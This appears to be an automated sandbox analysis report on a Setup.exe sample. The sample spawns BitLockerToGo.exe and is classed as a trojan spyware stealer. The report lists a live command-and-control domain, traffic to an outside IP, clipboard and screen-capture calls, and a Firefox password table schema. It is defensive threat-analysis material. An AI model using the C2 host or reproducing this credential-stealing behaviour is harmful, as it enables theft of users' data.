Source: BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BitLockerToGo.exe, 00000002.00000003.2378878983.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2417674923.0000000003228000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2353942171.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336147464.0000000003288000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2353542738.000000000327E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/
Source: BitLockerToGo.exe, 00000002.00000003.2403644084.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2418744556.000000000327E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/2
Source: BitLockerToGo.exe, 00000002.00000003.2278420494.0000000003247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/L
Source: BitLockerToGo.exe, 00000002.00000002.2418644581.0000000003222000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293484851.000000000328C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2292899314.000000000328B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/api
Source: BitLockerToGo.exe, 00000002.00000003.2336723188.000000000328A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336147464.0000000003288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/api3
Source: BitLockerToGo.exe, 00000002.00000003.2305631280.00000000055B0000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2305943287.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/apiDoO
Source: BitLockerToGo.exe, 00000002.00000003.2417674923.000000000320D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/apiK
Source: BitLockerToGo.exe, 00000002.00000003.2336723188.0000000003291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/apin4
Source: BitLockerToGo.exe, 00000002.00000003.2336325859.000000000328F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336147464.0000000003288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/apin4E
Source: BitLockerToGo.exe, 00000002.00000003.2417674923.0000000003222000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2418644581.0000000003222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/apire1b
Source: BitLockerToGo.exe, 00000002.00000002.2418644581.0000000003228000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2417674923.0000000003228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/c
Source: BitLockerToGo.exe, 00000002.00000003.2336723188.000000000328A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336147464.0000000003288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/ctivp
Source: BitLockerToGo.exe, 00000002.00000003.2336723188.000000000328A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336147464.0000000003288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/ll
Source: BitLockerToGo.exe, 00000002.00000003.2336723188.000000000328A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336147464.0000000003288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/ult
Source: BitLockerToGo.exe, 00000002.00000003.2403644084.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336325859.0000000003295000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2418744556.000000000327E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs:443/api
Source: Setup.exe	String found in binary or memory: https://github.com/golang/protobuf/issues/1609):
Source: Setup.exe	String found in binary or memory: https://github.com/zitadel/zitadel/blob/new-eventstore/cmd/zitadel/startup.yaml.
Source: Setup.exe	String found in binary or memory: https://protobuf.dev/reference/go/faq#namespace-conflictproto:
Source: BitLockerToGo.exe, 00000002.00000003.2339441773.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000002.00000003.2339441773.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000002.00000003.2339720181.00000000055CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: BitLockerToGo.exe, 00000002.00000003.2339720181.00000000055CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: BitLockerToGo.exe, 00000002.00000003.2339441773.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: BitLockerToGo.exe, 00000002.00000003.2339441773.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: BitLockerToGo.exe, 00000002.00000003.2339441773.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49839 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00436BC0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00436BC0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00436BC0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00436BC0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00437689 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

2_2_00437689

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043C0D9	2_2_0043C0D9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004420E8	2_2_004420E8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043C0A8	2_2_0043C0A8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00446140	2_2_00446140
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004101A0	2_2_004101A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00426744	2_2_00426744
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004108F0	2_2_004108F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00445890	2_2_00445890
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040F95D	2_2_0040F95D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0041E9B6	2_2_0041E9B6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0041CA15	2_2_0041CA15
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00431A22	2_2_00431A22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042FA20	2_2_0042FA20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043BB50	2_2_0043BB50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040DF60	2_2_0040DF60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042AF30	2_2_0042AF30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042FF9C	2_2_0042FF9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00427040	2_2_00427040
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00401000	2_2_00401000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040A008	2_2_0040A008
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042E010	2_2_0042E010
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00440010	2_2_00440010
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0041D0D0	2_2_0041D0D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004430B0	2_2_004430B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00407150	2_2_00407150
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004441D0	2_2_004441D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042F1E0	2_2_0042F1E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004232C0	2_2_004232C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004012D5	2_2_004012D5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040C2F0	2_2_0040C2F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043B2A0	2_2_0043B2A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040B310	2_2_0040B310
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00401328	2_2_00401328
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004333C7	2_2_004333C7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004093E0	2_2_004093E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043C3FA	2_2_0043C3FA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00444380	2_2_00444380
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00405460	2_2_00405460
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042B427	2_2_0042B427
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004214C0	2_2_004214C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043A482	2_2_0043A482
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042D485	2_2_0042D485
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040A49A	2_2_0040A49A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043F500	2_2_0043F500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043B500	2_2_0043B500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00407510	2_2_00407510
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043C5C0	2_2_0043C5C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042A5CF	2_2_0042A5CF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004225F0	2_2_004225F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00442589	2_2_00442589
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00444590	2_2_00444590
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00443620	2_2_00443620
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004436B0	2_2_004436B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00427767	2_2_00427767
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040A700	2_2_0040A700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00429731	2_2_00429731
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040B7E0	2_2_0040B7E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00436780	2_2_00436780
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042F850	2_2_0042F850
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004038E0	2_2_004038E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042D8E0	2_2_0042D8E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00408970	2_2_00408970
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043BA40	2_2_0043BA40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00434A4D	2_2_00434A4D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00414A5E	2_2_00414A5E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00442A70	2_2_00442A70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043CAF0	2_2_0043CAF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00427A8A	2_2_00427A8A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00423AB0	2_2_00423AB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00429B40	2_2_00429B40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043EB50	2_2_0043EB50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00445B60	2_2_00445B60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00428B15	2_2_00428B15
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042D8E0	2_2_0042D8E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00411BA8	2_2_00411BA8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00429C41	2_2_00429C41
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040AC70	2_2_0040AC70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00442C90	2_2_00442C90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00445E50	2_2_00445E50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0041FED0	2_2_0041FED0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0044AED2	2_2_0044AED2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0041DF4C	2_2_0041DF4C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00407F50	2_2_00407F50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00417FCB	2_2_00417FCB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042CF80	2_2_0042CF80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00422F90	2_2_00422F90

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 0040E600 appears 164 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 0040CE20 appears 70 times

Source: Setup.exe, 00000000.00000002.2267915208.000000000BE80000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs Setup.exe

Source: Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@1/1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_0043BE60 CoCreateInstance,

2_2_0043BE60

Source: Setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2306485027.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293021445.00000000055D8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Setup.exe

ReversingLabs: Detection: 15%

Source: Setup.exe	String found in binary or memory: net/addrselect.go
Source: Setup.exe	String found in binary or memory: github.com/saferwall/pe@v1.5.4/loadconfig.go

Source: C:\Users\user\Desktop\Setup.exe

File read: C:\Users\user\Desktop\Setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Setup.exe "C:\Users\user\Desktop\Setup.exe"
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
